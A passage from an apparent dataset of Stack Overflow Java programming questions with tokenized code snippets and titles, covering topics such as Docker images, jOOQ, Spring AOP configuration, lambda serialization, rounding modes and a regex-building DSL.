's possible to do that with unity , but for various reasons I 'd rather not . I tried creating a new activity , exporting it to a jar , and adding this to my manifest in the application tag : Clicking on a link successfully launches my game , but onto a black screen . Edit : I 've also tried this format to no change : What are the magic incantations to make the whole game boot , along with my custom activity , and let my custom activity read the incoming URL , without touching the main activity ?",< activity android : name= '' com.foo.ProtocolCatcher '' android : label= '' @ string/app_name '' > < intent-filter > < action android : name= '' android.intent.action.MAIN '' / > < category android : name= '' android.intent.category.LAUNCHER '' / > < /intent-filter > < intent-filter > < data android : scheme= '' com.foo.bar '' / > < action android : name= '' android.intent.action.VIEW '' / > < category android : name= '' android.intent.category.DEFAULT '' / > < category android : name= '' android.intent.category.BROWSABLE '' / > < /intent-filter > < /activity > < activity android : name= '' com.foo.ProtocolCatcher '' android : label= '' @ string/app_name '' > < intent-filter > < action android : name= '' android.intent.action.VIEW '' / > < category android : name= '' android.intent.category.BROWSABLE '' / > < category android : name= '' android.intent.category.DEFAULT '' / > < data android : scheme= '' com.foo.bar '' / > < /intent-filter > < /activity >,How to use non-main activity to capture custom url in unity game ? +Java,"I am trying to create a image using JRE without any OS . I tried this Dockerfile which does not work.I am getting following error : If I replace scratch with oraclelinux , it works fine . Any clue why I can not use scratch . The reason to use scratch is to reduce the size of the image.Any help is appreciated .","FROM openjdk:11.0.1-jdk-oraclelinux7 as JDK RUN jlink -- no-header-files -- no-man-pages -- add-modules java.base , java.desktop , java.logging , java.sql -- output /jre FROM scratch # FROM oraclelinux:7-slim COPY -- from=JDK /jre /jre ARG JAR_FILE COPY $ { JAR_FILE } /app.jar CMD [ `` /jre/bin/java '' , `` -jar '' , `` /app.jar '' ] standard_init_linux.go:190 : exec user process caused `` no such file or directory ''",Create Docker Image For JRE FROM scratch +Java,"Is there any way , how to make Intellij Idea to move my Unit Test classes automatically to a coresponding package when I move tested class ? For example I have these two classes : When I move toI need the test class to be moved automatically like this : It is the same functionality , that does MoreUnit Eclipse plugin .",src/main/java/com/MyClass.javasrc/test/java/com/MyClassTest.java src/main/java/com/MyClass.java src/main/java/com/subpackage/MyClass.java src/test/java/com/subpackage/MyClassTest.java,How to move Unit Test classes automatically in Intellij Idea ? +Java,"I have webAppContext in main class and I have a servlet , that have WebServlet annotation and constructor with args . How I can pass args from Main class to Servlet ? Main.java : web.xml : Servlet :","String webappDirLocation = `` src/main/java/frontend/webapp/ '' ; WebAppContext webAppContext = new WebAppContext ( ) ; webAppContext.setResourceBase ( `` public_html '' ) ; webAppContext.setContextPath ( `` / '' ) ; webAppContext.setDescriptor ( webappDirLocation + `` WEB-INF/web.xml '' ) ; webAppContext.setConfigurations ( new Configuration [ ] { new AnnotationConfiguration ( ) , new WebXmlConfiguration ( ) , new WebInfConfiguration ( ) , new PlusConfiguration ( ) , new MetaInfConfiguration ( ) , new FragmentConfiguration ( ) , new EnvConfiguration ( ) } ) ; webAppContext.setAttribute ( `` org.eclipse.jetty.server.webapp.ContainerIncludeJarPattern '' , `` .*/classes/ . * '' ) ; webAppContext.setParentLoaderPriority ( true ) ; < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < web-app xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xmlns= '' http : //java.sun.com/xml/ns/javaee '' xsi : schemaLocation= '' http : //java.sun.com/xml/ns/javaee http : //java.sun.com/xml/ns/javaee/web-app_3_0.xsd '' metadata-complete= '' false '' version= '' 3.0 '' > < /web-app > @ WebServlet ( name = `` WebSocketGameServlet '' , urlPatterns = { `` /gameplay '' } ) public class WebSocketGameServlet extends WebSocketServlet { static final Logger logger = LogManager.getLogger ( GameWebSocket.class ) ; private final static int IDLE_TIME = 6000 * 1000 ; private AccountService accountService ; private Game game ; private WebSocketService webSocketService ; public WebSocketGameServlet ( AccountService accountService , Game game , WebSocketService webSocketService ) { this.accountService = accountService ; this.game = game ; this.webSocketService = webSocketService ; } @ Override public void configure ( WebSocketServletFactory factory ) { factory.getPolicy ( ) .setIdleTimeout ( IDLE_TIME ) ; factory.setCreator ( new GameWebSocketCreator ( accountService , game , webSocketService ) ) ; } }",WebAppContext pass argument to servlet constructor +Java,I 'm using Jooq and am trying to generate a near copy of a data set within the same table . In the process I want to update the value of one field to a known value . I 've been looking at the docs & trying variations with no luck yet . Here is my approach updating the REGISTRATION table and setting the 'stage ' field to the value 6 ( where it was 5 ) . So I 'll end up with the original data plus a duplicate set with just the different stage value.in pseudo codeI tried this code below and thinking I could add a `` .set ( ... ) '' method to set the value but that does n't seem to be valid .,insert into Registration ( select * from Registration where stage=5 ) set stage=6 create.insertInto ( REGISTRATION ) .select ( ( selectFrom ( REGISTRATION ) .where ( REGISTRATION.STAGE.eq ( 5 ) ) ) ) .execute ( ) ;,How to duplicate and modify table rows using Jooq insertInto +Java,A quickie just to get peace of mind : Considering the followingIs str.length ( ) evaluated at runtime or is it hardcoded as 15 in the bytecode ?,final String str = `` This is the end '' ;,Is String.length ( ) invoked for a final String ? +Java,"This code below throws The reason seems to be that after serialization and deserialization , both fn1 and fn2 end up as the same class . Is this a JDK/compiler bug or am I missing something about serialization and deserialization of lambdas ?","Exception in thread `` main '' java.lang.ClassCastException : test.Subclass2 can not be cast to test.Subclass1at test.LambdaTest.main ( LambdaTest.java:17 ) public class LambdaTest { public static void main ( String [ ] args ) throws IOException , ClassNotFoundException { ToLongFunction < B > fn1 = serde ( ( ToLongFunction < B > & Serializable ) B : :value ) ; ToLongFunction < C > fn2 = serde ( ( ToLongFunction < C > & Serializable ) C : :value ) ; fn1.applyAsLong ( new B ( ) ) ; fn2.applyAsLong ( new C ( ) ) ; // Line 17 -- exception here ! } private static < T extends Serializable > T serde ( T t ) throws IOException , ClassNotFoundException { ByteArrayOutputStream bos = new ByteArrayOutputStream ( ) ; new ObjectOutputStream ( bos ) .writeObject ( t ) ; ObjectInputStream ois = new ObjectInputStream ( new ByteArrayInputStream ( bos .toByteArray ( ) ) ) ; return ( T ) ois.readObject ( ) ; } } class A { public long value ( ) { return 0 ; } } class B extends A { } class C extends A { }",Serialization and deserialization of lambda +Java,"I have a short question : What does this call return exactely ? I know it returns the first app certificate for the app which is the CERT.RSA in the META-INF folder , but what exately does it return ? Just a byte-array which represents the whole certificate as the file or some other byte-array ? I do n't really know much about the structure of certificates and the data they contain so I really do n't have any clue . The best answer would be an instruction for openssl with that I get the returned value from the above code line .","context.getPackageManager ( ) .getPackageInfo ( context.getPackageName ( ) , GET_SIGNATURES ) .signatures [ 0 ] .toByteArray ( ) ;",Display Android Certificate +Java,"I am trying to solve Euler 's Project # 2 and I keep getting the answer as `` Infinity '' or `` NaN '' ( Not a number ) I tried changing the type of number to a int ( originally Double ) , but that did n't fix anything just gave me the answer `` -1833689714 '' The questions is : Each new term in the Fibonacci sequence is generated by adding the previous two terms . By starting with 1 and 2 , the first 10 terms will be : 1 , 2 , 3 , 5 , 8 , 13 , 21 , 34 , 55 , 89 , ... By considering the terms in the Fibonacci sequence whose values do not exceed four million , find the sum of the even-valued terms .","public class Pro { static int g = 1 ; static int n , f = 0 ; public static void main ( String args [ ] ) { for ( int i = 0 ; i < = 4000000 ; i++ ) { f = f + g ; g = f - g ; if ( f % 2 == 0 ) { n += f ; } } System.out.println ( `` Answer : `` + n ) ; } }",Project Euler # 2 Infinity ? +Java,"When using C++ one is not allowed to access a private attribute inside a main function . Example : It is clear why there is an error when accessing private attributes outside class methods , since C++ do not have main functions inside classes.However , in Java it is allowed : I understand in this case main is INSIDE the Test class . However , I can not understand the idea WHY is this allowed , and what is the impact of this in the development/management of the code.When learning C++ , I once heard `` Classes should n't have a main . Main acts with or uses instances of classes '' .Can someone shed some light on this question ?","# include < iostream > using namespace std ; class Test { private : int a ; public : Test ( int value ) { a = value ; } int getValue ( ) { return a ; } } ; int main ( int argc , char *argv [ ] ) { Test test2 ( 4 ) ; cout < < test2.a ; // Compile error ! Test : :a is private within this context cout < < test2.getValue ( ) ; // OK ! return 0 ; } public class Test { private int a ; public Test ( int value ) { a = value ; } public int getValue ( ) { return a ; } public static void main ( String args [ ] ) { Test test1 = new Test ( 4 ) ; System.out.println ( test1.a ) ; } }",What is the idea behind private attribute access inside main ? Java x C++ +Java,"I try to configure a logging aspect but I do n't understand how it 's works.I have a spring web mvc application . Consider this : a package of config classes with LoggingConfiguration : An aspect : a log4j.xml ( appender are defined ) Why the configuration is not working ? ThanksEDITweb.xml isEDITI miss to add LoggingConfiguration in the web.xml . Now , I have this : but I have this message : I tried by removing the line in web.xml and adding @ Import ( LoggingConfiguration.class ) in WebConfiguration but I received same message.WebConfiguration is : EDITThe full stackTrace is :","import org.springframework.context.annotation.Bean ; import org.springframework.context.annotation.Configuration ; import org.springframework.context.annotation.EnableAspectJAutoProxy ; import my.package.aspects.LoggingAspect ; import my.package.web.controller.MemberController ; @ Configuration @ EnableAspectJAutoProxypublic class LoggingConfiguration { @ Bean public LoggingAspect loggingAspect ( ) { return new LoggingAspect ( ) ; } @ Bean MemberController memberController ( ) { return new MemberController ( ) ; } } @ Aspect @ Componentpublic class LoggingAspect { static Logger log = LoggerFactory.getLogger ( LoggingAspect.class ) ; @ Before ( `` execution ( * my.package..*.* ( .. ) ) '' ) public void logBefore ( JoinPoint joinPoint ) { log.debug ( `` logBefore ( ) is running ! `` ) ; log.debug ( joinPoint.getSignature ( ) .getName ( ) ) ; } } < logger name= '' my.package '' additivity= '' false '' > < appender-ref ref= '' consoleAppender '' / > < appender-ref ref= '' fileControllerAppender '' / > < /logger > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < web-app version= '' 3.0 '' xmlns= '' http : //java.sun.com/xml/ns/javaee '' xmlns : web= '' http : //java.sun.com/xml/ns/javaee/web-app_3_0.xsd '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //java.sun.com/xml/ns/javaee http : //java.sun.com/xml/ns/javaee/web-app_3_0.xsd '' > < display-name > Archetype Created Web Application < /display-name > < context-param > < param-name > contextClass < /param-name > < param-value > org.springframework.web.context.support.AnnotationConfigWebApplicationContext < /param-value > < /context-param > < context-param > < param-name > contextConfigLocation < /param-name > < param-value > my.package.config.JpaConfiguration < /param-value > < /context-param > < listener > < listener-class > org.springframework.web.context.ContextLoaderListener < /listener-class > < /listener > < servlet > < servlet-name > spring < /servlet-name > < servlet-class > org.springframework.web.servlet.DispatcherServlet < /servlet-class > < init-param > < param-name > contextClass < /param-name > < param-value > org.springframework.web.context.support.AnnotationConfigWebApplicationContext < /param-value > < /init-param > < init-param > < param-name > contextConfigLocation < /param-name > < param-value > my.package.config.WebConfiguration < /param-value > < /init-param > < load-on-startup > 1 < /load-on-startup > < /servlet > < servlet-mapping > < servlet-name > spring < /servlet-name > < url-pattern > / < /url-pattern > < url-pattern > *.html < /url-pattern > < /servlet-mapping > < ! -- < listener > < listener-class > org.springframework.web.util.Log4jConfigListener < /listener-class > < /listener > < context-param > < param-name > log4jConfigLocation < /param-name > < param-value > classpath : log4j.xml < /param-value > < /context-param > -- > < session-config > < session-timeout > 30 < /session-timeout > < /session-config > < welcome-file-list > < welcome-file > index.html < /welcome-file > < /welcome-file-list > < /web-app > < init-param > < param-name > contextConfigLocation < /param-name > < param-value > my.package.config.WebConfiguration , my.package.config.LoggingConfiguration < /param-value > < /init-param > Error creating bean with name 'viewResolver ' defined in class my.package.config.WebConfiguration : No matching factory method found : factory bean 'webConfiguration ' ; factory method 'getViewResolver ( ) ' . Check that a method with the specified name exists and that it is non-static . @ Configuration @ EnableWebMvc @ ComponentScan ( `` my.package.web.controller '' ) public class WebConfiguration { @ Bean ( name = `` viewResolver '' ) public InternalResourceViewResolver getViewResolver ( ) { InternalResourceViewResolver viewResolver = new InternalResourceViewResolver ( ) ; viewResolver.setPrefix ( `` /WEB-INF/pages/ '' ) ; viewResolver.setSuffix ( `` .jsp '' ) ; return viewResolver ; } } org.springframework.beans.factory.BeanCreationException : Error creating bean with name 'viewResolver ' defined in class my.package.config.WebConfiguration : Instantiation of bean failed ; nested exception is org.springframework.beans.factory.BeanDefinitionStoreException : Factory method [ public org.springframework.web.servlet.view.InternalResourceViewResolver my.package.config.WebConfiguration.viewResolver ( ) ] threw exception ; nested exception is org.springframework.cglib.core.CodeGenerationException : java.lang.reflect.InvocationTargetException -- > null at org.springframework.beans.factory.support.ConstructorResolver.instantiateUsingFactoryMethod ( ConstructorResolver.java:589 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.instantiateUsingFactoryMethod ( AbstractAutowireCapableBeanFactory.java:1055 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance ( AbstractAutowireCapableBeanFactory.java:951 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean ( AbstractAutowireCapableBeanFactory.java:487 ) at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean ( AbstractAutowireCapableBeanFactory.java:458 ) at org.springframework.beans.factory.support.AbstractBeanFactory $ 1.getObject ( AbstractBeanFactory.java:296 ) at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton ( DefaultSingletonBeanRegistry.java:223 ) at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean ( AbstractBeanFactory.java:293 ) at org.springframework.beans.factory.support.AbstractBeanFactory.getBean ( AbstractBeanFactory.java:194 ) at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons ( DefaultListableBeanFactory.java:628 ) at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization ( AbstractApplicationContext.java:932 ) at org.springframework.context.support.AbstractApplicationContext.refresh ( AbstractApplicationContext.java:479 ) at org.springframework.web.servlet.FrameworkServlet.configureAndRefreshWebApplicationContext ( FrameworkServlet.java:651 ) at org.springframework.web.servlet.FrameworkServlet.createWebApplicationContext ( FrameworkServlet.java:599 ) at org.springframework.web.servlet.FrameworkServlet.createWebApplicationContext ( FrameworkServlet.java:665 ) at org.springframework.web.servlet.FrameworkServlet.initWebApplicationContext ( FrameworkServlet.java:518 ) at org.springframework.web.servlet.FrameworkServlet.initServletBean ( FrameworkServlet.java:459 ) at org.springframework.web.servlet.HttpServletBean.init ( HttpServletBean.java:136 ) at javax.servlet.GenericServlet.init ( GenericServlet.java:241 ) at org.mortbay.jetty.servlet.ServletHolder.initServlet ( ServletHolder.java:440 ) at org.mortbay.jetty.servlet.ServletHolder.doStart ( ServletHolder.java:263 ) at org.mortbay.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:50 ) at org.mortbay.jetty.servlet.ServletHandler.initialize ( ServletHandler.java:736 ) at org.mortbay.jetty.servlet.Context.startContext ( Context.java:140 ) at org.mortbay.jetty.webapp.WebAppContext.startContext ( WebAppContext.java:1282 ) at org.mortbay.jetty.handler.ContextHandler.doStart ( ContextHandler.java:518 ) at org.mortbay.jetty.webapp.WebAppContext.doStart ( WebAppContext.java:499 ) at org.mortbay.jetty.plugin.Jetty6PluginWebAppContext.doStart ( Jetty6PluginWebAppContext.java:115 ) at org.mortbay.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:50 ) at org.mortbay.jetty.handler.HandlerCollection.doStart ( HandlerCollection.java:152 ) at org.mortbay.jetty.handler.ContextHandlerCollection.doStart ( ContextHandlerCollection.java:156 ) at org.mortbay.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:50 ) at org.mortbay.jetty.handler.HandlerCollection.doStart ( HandlerCollection.java:152 ) at org.mortbay.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:50 ) at org.mortbay.jetty.handler.HandlerWrapper.doStart ( HandlerWrapper.java:130 ) at org.mortbay.jetty.Server.doStart ( Server.java:224 ) at org.mortbay.component.AbstractLifeCycle.start ( AbstractLifeCycle.java:50 ) at org.mortbay.jetty.plugin.Jetty6PluginServer.start ( Jetty6PluginServer.java:132 ) at org.mortbay.jetty.plugin.AbstractJettyMojo.startJetty ( AbstractJettyMojo.java:454 ) at org.mortbay.jetty.plugin.AbstractJettyMojo.execute ( AbstractJettyMojo.java:396 ) at org.mortbay.jetty.plugin.AbstractJettyRunMojo.execute ( AbstractJettyRunMojo.java:210 ) at org.mortbay.jetty.plugin.Jetty6RunMojo.execute ( Jetty6RunMojo.java:184 ) at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo ( DefaultBuildPluginManager.java:101 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:209 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:153 ) at org.apache.maven.lifecycle.internal.MojoExecutor.execute ( MojoExecutor.java:145 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:84 ) at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject ( LifecycleModuleBuilder.java:59 ) at org.apache.maven.lifecycle.internal.LifecycleStarter.singleThreadedBuild ( LifecycleStarter.java:183 ) at org.apache.maven.lifecycle.internal.LifecycleStarter.execute ( LifecycleStarter.java:161 ) at org.apache.maven.DefaultMaven.doExecute ( DefaultMaven.java:320 ) at org.apache.maven.DefaultMaven.execute ( DefaultMaven.java:156 ) at org.apache.maven.cli.MavenCli.execute ( MavenCli.java:537 ) at org.apache.maven.cli.MavenCli.doMain ( MavenCli.java:196 ) at org.apache.maven.cli.MavenCli.main ( MavenCli.java:141 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:57 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:606 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced ( Launcher.java:290 ) at org.codehaus.plexus.classworlds.launcher.Launcher.launch ( Launcher.java:230 ) at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode ( Launcher.java:409 ) at org.codehaus.plexus.classworlds.launcher.Launcher.main ( Launcher.java:352 )",How implements Spring Bootstrap and Aspect ? +Java,"I have an AspectJ trace routine set up to log method entry and exit conditions using the following pointcuts : In my sendEmail class I have a method which calls the setDebugOut method to redirect the debug output to a LogOutputStream : This works fine , except that the Trace class pointcut intercepts the call the the anonymous inner class , producing as output : I added the rather overly broad condition to the pointcut , as shown above , but it had no effect . In fact I 'm having real difficulty finding is ( AnonymousType ) documented anywhere.How can I write a pointcut that excludes this anonymous inner method , preferably without impacting any others ?","public aspect Trace { pointcut anyMethodExecuted ( ) : execution ( * biz.ianw.lanchecker.*.* ( .. ) ) & & ! within ( Trace ) & & ! within ( is ( AnonymousType ) ) ; pointcut anyConstructorExecuted ( ) : execution ( biz.ianw.lanchecker.*.new ( .. ) ) & & ! within ( Trace ) ; final private static Logger log = LoggerFactory.getLogger ( MailMail.class ) ; ... LogOutputStream losStdOut = new LogOutputStream ( ) { @ Override protected void processLine ( String line , int level ) { log.debug ( line ) ; } } ; public void sendPlainHtmlMessage ( ... ) { Session session = javaMailSender.getSession ( ) ; PrintStream printStreamLOS = new PrintStream ( losStdOut ) ; session.setDebugOut ( printStreamLOS ) ; ... 20:14:18.908 TRACE [ biz.ianw.lanchecker.Trace ] - Enters method : Logger biz.ianw.lanchecker.MailMail.access $ 0 ( ) 20:14:18.909 TRACE [ biz.ianw.lanchecker.Trace ] - Exits method : Logger biz.ianw.lanchecker.MailMail.access $ 0 ( ) .20:14:18.909 TRACE [ biz.ianw.lanchecker.Trace ] - with return value : Logger [ biz.ianw.lanchecker.MailMail ] 20:14:18.909 DEBUG [ biz.ianw.lanchecker.MailMail ] - DEBUG : getProvider ( ) returning javax.mail.Provider [ TRANSPORT , smtp , com.sun.mail.smtp.SMTPTransport , Oracle ] & & ! within ( is ( AnonymousType ) )",How to exclude an anonymous inner method from a pointcut ? +Java,"The code below runs the exact same calculation 3 times ( it does not do much : basically adding all numbers from 1 to 100m ) .The first 2 blocks run approximately 10 times faster than the third one . I have run this test program more than 10 times and the results show very little variance.If anything , I would expect the third block to run faster ( JIT compilation ) , but the typical output is : 35974537 36368455 296471550Can somebody explain what is happening ? ( Just to be clear , I 'm not trying to fix anything here , just trying to better understand what is going on ) Note : no GC is run during the program ( monitored with -XX : +PrintGC ) tested with Oracle JDK versions 1.6.0_30 , 1.7.0_02 and 1.7.0_05also tested with the following parameters : -XX : +PrintGC -Xms1000m -Xmx1000m -XX : NewSize=900m = > same resultit the block is put in a loop instead , all runs are fastif the block is extracted to a method , all runs are fast ( whether the method is called 3 times or in a loop makes no difference )",public static void main ( String ... args ) { //three identical blocks { long start = System.nanoTime ( ) ; CountByOne c = new CountByOne ( ) ; int sum = 0 ; for ( int i = 0 ; i < 100000000 ; i++ ) { sum += c.getNext ( ) ; } if ( sum ! = c.getSum ( ) ) throw new IllegalStateException ( ) ; //use sum long end = System.nanoTime ( ) ; System.out.println ( ( end - start ) ) ; } { long start = System.nanoTime ( ) ; CountByOne c = new CountByOne ( ) ; int sum = 0 ; for ( int i = 0 ; i < 100000000 ; i++ ) { sum += c.getNext ( ) ; } if ( sum ! = c.getSum ( ) ) throw new IllegalStateException ( ) ; //use sum long end = System.nanoTime ( ) ; System.out.println ( ( end - start ) ) ; } { long start = System.nanoTime ( ) ; CountByOne c = new CountByOne ( ) ; int sum = 0 ; for ( int i = 0 ; i < 100000000 ; i++ ) { sum += c.getNext ( ) ; } if ( sum ! = c.getSum ( ) ) throw new IllegalStateException ( ) ; //use sum long end = System.nanoTime ( ) ; System.out.println ( ( end - start ) ) ; } } public static class CountByOne { private int i = 0 ; private int sum = 0 ; public int getSum ( ) { return sum ; } public int getNext ( ) { i += 1 ; sum += i ; return i ; } },Performance Explanation : code runs slower after warm up +Java,"I have this Entity and I want to list for each device the last event with the property message = 1But I have an assertion problem in the last test , because it considers device3 as a last event and its not the case .","@ Entity @ Table ( name = `` t_device_event '' ) @ NamedQueries ( value = { @ NamedQuery ( name = `` DeviceEvent.findWithMessageActive '' , query = `` from DeviceEvent as de1 where de1.message = 1 and de1.received = `` + `` ( select max ( de2.received ) from DeviceEvent de2 `` + `` where de2.device.id = de1.device.id ) `` ) , ) public class DeviceEvent { .. } assertTrue ( ( numDevicesWithActiveMessage+1 ) == deviceEventService.findWithActiveMessage ( ) .size ( ) ) ; DeviceEvent deviceEvent3 = newDeviceEvent ( ) ; deviceEvent3.setMessage ( 1 ) ; deviceEventService.save ( deviceEvent3 ) ; DeviceEvent deviceEvent4 = newDeviceEvent ( ) ; deviceEventService.save ( deviceEvent4 ) ; assertTrue ( ( numDevicesWithActiveMessage+1 ) == deviceEventService.findWithActiveMessage ( ) .size ( ) ) ;",Select row with most recent date per user with 1 condition in JPA +Java,The following code : Produces the result ( live code ) : I know that certain numbers can not be represented exactly as floating-point numbers . The actual floating-point representation for 1713.6 is 1713.5999755859375 ( see this page ) .But why does HALF_UP round down in this case ? Using Java 1.8u25,"double doubleValue = 1713.6 ; float floatValue = 1713.6f ; String fs = `` % -9s : % -7s % -7s\n '' ; System.out.printf ( fs , `` '' , `` double '' , `` float '' ) ; DecimalFormat format = new DecimalFormat ( `` # 0 '' ) ; System.out.printf ( fs , `` toString '' , String.valueOf ( doubleValue ) , String.valueOf ( floatValue ) ) ; format.setRoundingMode ( RoundingMode.DOWN ) ; System.out.printf ( fs , `` DOWN '' , format.format ( doubleValue ) , format.format ( floatValue ) ) ; format.setRoundingMode ( RoundingMode.HALF_DOWN ) ; System.out.printf ( fs , `` HALF_DOWN '' , format.format ( doubleValue ) , format.format ( floatValue ) ) ; format.setRoundingMode ( RoundingMode.HALF_UP ) ; System.out.printf ( fs , `` HALF_UP '' , format.format ( doubleValue ) , format.format ( floatValue ) ) ; format.setRoundingMode ( RoundingMode.UP ) ; System.out.printf ( fs , `` UP '' , format.format ( doubleValue ) , format.format ( floatValue ) ) ; : double float toString : 1713.6 1713.6 DOWN : 1713 1713 HALF_DOWN : 1714 1714 HALF_UP : 1713 1714 < -- - notice this lineUP : 1714 1714",Why does HALF_UP sometimes round down with double ? +Java,I 'm currently writing a DSL for a library and I 'd like to supply type metadata using reified type parameters like this : My problem is that i can only use the reified keyword in inline functions and in an inline function I ca n't use instance fields like this : because I get an error : Public-API inline function can not access non-public-API 'private final val consumers ... It seems so far that I ca n't use reified type parameters where they would be most useful . Is there a workaround for this ?,"val config = Config.create ( ) .consumerFor < MyType > { // consume } inline fun < reified T > consumerFor ( consumer : ( T ) - > Unit ) { consumers.put ( T : :class.java , consumer ) return this }",How can I store reified type data in instance fields in Kotlin ? +Java,"I was connecting to Sql Server 2008 & 2008+ via Java program withJava 8Sql jdbc microsoft driver 4.1Connection string : DriverManager.getConnection ( `` jdbc : sqlserver : // < Ip > ; instance=MSSQLSERVER ; domain= < domain > ; IntegratedSecurity=true ; ssl=request ; '' , `` administrator '' , `` password '' ) ; I was able to connect successfully.However when I enabled Force encryption to true in the sql server via sql server configuration manager.I started getting following error.FYI : I have already tried adding below parameters in connection string.ssl=requestssl=requireencrypt=truetrustServerCertificate=trueAlso I have tried upgrading the driver to 4.2 & mssql driver 7.0Tried jtds driver as wellPoint to be noted : I am able to connect to instance via ssmsEDIT 1- Another important point - It 's happening only for windows authentication ( enabled via IntegratedSecurity=true ; in connection string ) .So this case is happening only when Force encryption is set to true and we try to connect in windows authentication mode .",com.microsoft.sqlserver.jdbc.SQLServerException : An existing connection was forcibly closed by the remote host ClientConnectionId : xxxx,How to connect to MSSQL Server with windows authentication and Force Encryption set to true +Java,"I need some help to complete my idea about regexes.IntroductionThere was a question about better syntax for regexes on SE , but I do n't think I 'd use the fluent syntax.It 's surely nice for newbies , but in case of a complicated regex , you replace a line of gibberish by a whole page of slightly better gibberish.I like the approach by Martin Fowler , where a regex gets composed of smaller pieces.His solution is readable , but hand-made ; he proposes a smart way to build a complicated regex instead of a class supporting it.I 'm trying to make it to a class using something like ( see his example first ) where fluent syntax is used for combining regexes extended as follows : define named patterns and use them by enclosing in backticks ` name ` creates a named groupmnemonics : shell captures the result of the command enclosed in backticks ` : name ` creates a non-capturing groupmnemonics : similar to ( ? : ... ) ` -name ` creates a backreferencemnemonics : the dash connects it to the previous occurrenceredefine individual characters and use it everywhere unless quotedhere only some characters ( e.g. , ~ @ # % '' ) are allowedredefining + or ( would be extremely confusing , so it 's not allowedredefining space to mean any spacing is very natural in the example aboveredefining a character could make the pattern more compact , which is good unless overusede.g. , using something like define ( ' # ' , `` \\\\ '' ) for matching backslashes could make the pattern much readableredefine some quoted sequences like \s or \wthe standard definitions are not Unicode conformsometimes you might have you own idea what a word or space isThe named patterns serves as a sort of local variables helping to decompose a complicated expression into small and easy to understand pieces.A proper naming pattern makes often a comment unnecessary.QuestionsThe above should n't be hard to implement ( I did already most of it ) and could be really useful , I hope.Do you think so ? However , I 'm not sure how it should behave inside of brackets , sometimes it 's meaningful to use the definitions and sometimes not , e.g . inexpanding the space to \s makes sense , but expanding the tilde doesn't.Maybe there should be a separate syntax to define own character classes somehow ? Can you think of some examples where the named pattern are very useful or not useful at all ? I 'd need some border cases and some ideas for improvement.Reaction to tchrist 's answerComments to his objectionsLack of multiline pattern strings.There are no multiline strings in Java , which I 'd like to change , but can not.Freedom from insanely onerous and error-prone double-backslashing ... This is again something I ca n't do , I can only offer a workaround , s. below.Lack of compile-time exceptions on invalid regex literals , and lack of compile-time caching of correctly compiled regex literals.As regexes are just a part of the standard library and not of the language itself , there 's nothing what can done here.No debugging or profiling facilities.I can do nothing here.Lack of compliance with UTS # 18.This can be easily solved by redefining the corresponding patterns as I proposed . It 's not perfect , since in debugger you 'll see the blowed up replacements.I looks like you do n't like Java . I 'd be happy to see some syntax improvements there , but there 's nothing I can do about it . I 'm looking for something working with current Java.RFC 5322Your example can be easily written using my syntax : DisadvantagesWhile rewriting your example I encountered the following issues : As there are no \xdd escape sequences \udddd must be usedUsing another character instead of backslash is a bit strangeAs I prefer to write it bottom-up , I had to take your lines revertedWithout much idea what it does , I except myself having done some errorsOn the bright side : - Ignoring spaces is no problem- Comments are no problem- The readability is goodAnd most important : It 's plain Java and uses the existing regex-engine as is .","final MyPattern pattern = MyPattern.builder ( ) .caseInsensitive ( ) .define ( `` numberOfPoints '' , `` \\d+ '' ) .define ( `` numberOfNights '' , `` \\d+ '' ) .define ( `` hotelName '' , `` . * '' ) .define ( ' ' , `` \\s+ '' ) .build ( `` score ` numberOfPoints ` for ` numberOfNights ` nights ? at ` hotelName ` `` ) ; MyMatcher m = pattern.matcher ( `` Score 400 FOR 2 nights at Minas Tirith Airport '' ) ; System.out.println ( m.group ( `` numberOfPoints '' ) ) ; // prints 400 .define ( ' ' , `` \\s '' ) // a blank character.define ( '~ ' , `` /\** [ ^* ] +\*/ '' ) // an inline comment ( simplified ) .define ( `` something '' , `` [ ~\\d ] '' ) final MyPattern pattern = MyPattern.builder ( ) .define ( `` `` , `` '' ) // ignore spaces.useForBackslash ( ' # ' ) // ( 1 ) : see ( 2 ) .define ( `` address '' , `` ` mailbox ` | ` group ` `` ) .define ( `` WSP '' , `` [ \u0020\u0009 ] '' ) .define ( `` DQUOTE '' , `` \ '' '' ) .define ( `` CRLF '' , `` \r\n '' ) .define ( `` DIGIT '' , `` [ 0-9 ] '' ) .define ( `` ALPHA '' , `` [ A-Za-z ] '' ) .define ( `` NO_WS_CTL '' , `` [ \u0001-\u0008\u000b\u000c\u000e-\u001f\u007f ] '' ) // No whitespace control ... .define ( `` domain_literal '' , `` ` CFWS ` ? # [ ( ? : ` FWS ` ? ` dcontent ` ) * ` FWS ` ? # ] ` CFWS1 ? '' ) // ( 2 ) : see ( 1 ) ... .define ( `` group '' , `` ` display_name ` : ( ? : ` mailbox_list ` | ` CFWS ` ) ? ; ` CFWS 